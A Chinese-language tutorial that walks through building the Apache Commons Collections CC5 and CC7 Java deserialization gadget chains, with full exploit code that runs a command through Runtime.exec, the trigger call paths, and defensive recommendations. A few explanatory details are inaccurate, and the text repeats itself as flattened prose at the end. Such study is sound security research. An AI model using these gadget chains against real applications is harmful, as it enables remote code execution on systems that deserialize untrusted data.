java安全:从发现者角度解析CC5和CC7链构造过程(完结)
字数 1349 2025-08-29 22:41:38

Java反序列化漏洞:CC5与CC7链构造详解

1. 概述

本文详细解析Apache Commons Collections反序列化漏洞中的CC5和CC7链构造过程,从发现者角度深入剖析其技术原理和实现细节。

2. CC5链构造

2.1 核心组件

CC5链与LazyMap的CC1链非常相似,主要区别在于入口点改为LazyMapEntry

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import javax.management.BadAttributeValueExpException;

2.2 构造过程

  1. 创建Transformer链
final ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{
    new ConstantTransformer(Runtime.class),
    new InvokerTransformer("getMethod", 
        new Class[]{String.class, Class[].class}, 
        new Object[]{"getRuntime", null}),
    new InvokerTransformer("invoke", 
        new Class[]{Object.class, Object[].class}, 
        new Object[]{null, null}),
    new InvokerTransformer("exec", 
        new Class[]{String.class}, 
        new Object[]{"calc"})
});
  1. 创建LazyMap
final HashMap<Object, Object> map = new HashMap<>();
map.put("value","xxx");
final Map lazymap = LazyMap.decorate(map, chainedTransformer);
  1. 创建TiedMapEntry
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap,"yuji");
  1. 利用BadAttributeValueExpException
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);

// 反射设置val字段
Class clazz = Class.forName("javax.management.BadAttributeValueExpException");
Field field = clazz.getDeclaredField("val");
field.setAccessible(true);
field.set(badAttributeValueExpException,tiedMapEntry);
  1. 序列化与反序列化
public static void serializable(Object o) throws IOException {
    final ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("CC5.ser"));
    objectOutputStream.writeObject(o);
}

public static Object derializable() throws IOException, ClassNotFoundException {
    final ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("CC5.ser"));
    return objectInputStream.readObject();
}

2.3 触发流程

  1. 反序列化BadAttributeValueExpException时,会调用其readObject方法
  2. readObject方法会调用toString方法处理val字段
  3. TiedMapEntrytoString方法会调用getValue方法
  4. getValue方法会调用LazyMap.get方法
  5. LazyMap.get触发Transformer链执行命令

3. CC7链构造

3.1 核心思路

CC7链的入口点变为Hashtable,通过以下路径触发:

  1. LazyMap.get倒推,找到AbstractMapDecorator.equals方法
  2. Hashtableequals方法会触发reconstitutionPut
  3. readObject方法调用reconstitutionPut方法

3.2 构造过程

  1. 创建两个HashMap和Transformer链
final HashMap<Object, Object> map1 = new HashMap<>();
final HashMap<Object, Object> map2 = new HashMap<>();
map1.put("key1", "value1");
map2.put("key2", "value2");

final ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{
    new ConstantTransformer(Runtime.class),
    new InvokerTransformer("getMethod", 
        new Class[]{String.class, Class[].class}, 
        new Object[]{"getRuntime", null}),
    new InvokerTransformer("invoke", 
        new Class[]{Object.class, Object[].class}, 
        new Object[]{null, null}),
    new InvokerTransformer("exec", 
        new Class[]{String.class}, 
        new Object[]{"calc"})
});
  1. 创建两个LazyMap
final Map lazymap1 = LazyMap.decorate(map1, chainedTransformer);
final Map lazymap2 = LazyMap.decorate(map2, chainedTransformer);
  1. 创建Hashtable并放入两个LazyMap
Hashtable table = new Hashtable();
table.put(lazymap1,1);
table.put(lazymap2,1);
  1. 序列化与反序列化
public static void serializable(Object o) throws IOException {
    final ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("CC7.ser"));
    objectOutputStream.writeObject(o);
}

public static Object derializable() throws IOException, ClassNotFoundException {
    final ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("CC7.ser"));
    return objectInputStream.readObject();
}

3.3 触发流程

  1. 反序列化Hashtable时,会调用其readObject方法
  2. readObject方法调用reconstitutionPut方法
  3. reconstitutionPut方法会调用key.equals方法
  4. equals方法最终触发LazyMap.get方法
  5. LazyMap.get触发Transformer链执行命令

4. CC链构造总结

4.1 主要Sink点

  1. invokeTransformer.transform:基于反射原理实现命令执行
  2. defineClass → newInstance:通过Java类动态加载机制,加载恶意class文件实现命令执行

4.2 关键特点

  1. CC1-CC7链的gadget链中很多组件是重复使用的
  2. 理解CC1链和CC3链这两个具有不同sink的链是基础
  3. 其他链主要是在这两个基础上调整source方式

4.3 学习建议

  1. 重点掌握CC1链和CC3链的核心原理
  2. 理解各个组件的功能及其在链中的作用
  3. 掌握反射和动态类加载的基本原理
  4. 通过调试跟踪完整的调用链

5. 防御建议

  1. 升级Apache Commons Collections到安全版本
  2. 使用Java反序列化过滤器
  3. 避免反序列化不可信数据
  4. 使用白名单机制控制可反序列化的类

通过深入理解这些链的构造原理,可以更好地防御此类漏洞,也能在安全研究中发现新的利用链。

Java反序列化漏洞:CC5与CC7链构造详解 1. 概述 本文详细解析Apache Commons Collections反序列化漏洞中的CC5和CC7链构造过程,从发现者角度深入剖析其技术原理和实现细节。 2. CC5链构造 2.1 核心组件 CC5链与LazyMap的CC1链非常相似,主要区别在于入口点改为 LazyMapEntry : 2.2 构造过程 创建Transformer链 : 创建LazyMap : 创建TiedMapEntry : 利用BadAttributeValueExpException : 序列化与反序列化 : 2.3 触发流程 反序列化 BadAttributeValueExpException 时,会调用其 readObject 方法 readObject 方法会调用 toString 方法处理 val 字段 TiedMapEntry 的 toString 方法会调用 getValue 方法 getValue 方法会调用 LazyMap.get 方法 LazyMap.get 触发 Transformer 链执行命令 3. CC7链构造 3.1 核心思路 CC7链的入口点变为 Hashtable ,通过以下路径触发: 从 LazyMap.get 倒推,找到 AbstractMapDecorator.equals 方法 Hashtable 的 equals 方法会触发 reconstitutionPut readObject 方法调用 reconstitutionPut 方法 3.2 构造过程 创建两个HashMap和Transformer链 : 创建两个LazyMap : 创建Hashtable并放入两个LazyMap : 序列化与反序列化 : 3.3 触发流程 反序列化 Hashtable 时,会调用其 readObject 方法 readObject 方法调用 reconstitutionPut 方法 reconstitutionPut 方法会调用 key.equals 方法 equals 方法最终触发 LazyMap.get 方法 LazyMap.get 触发 Transformer 链执行命令 4. CC链构造总结 4.1 主要Sink点 invokeTransformer.transform :基于反射原理实现命令执行 defineClass → newInstance :通过Java类动态加载机制,加载恶意class文件实现命令执行 4.2 关键特点 CC1-CC7链的gadget链中很多组件是重复使用的 理解CC1链和CC3链这两个具有不同sink的链是基础 其他链主要是在这两个基础上调整source方式 4.3 学习建议 重点掌握CC1链和CC3链的核心原理 理解各个组件的功能及其在链中的作用 掌握反射和动态类加载的基本原理 通过调试跟踪完整的调用链 5. 防御建议 升级Apache Commons Collections到安全版本 使用Java反序列化过滤器 避免反序列化不可信数据 使用白名单机制控制可反序列化的类 通过深入理解这些链的构造原理,可以更好地防御此类漏洞,也能在安全研究中发现新的利用链。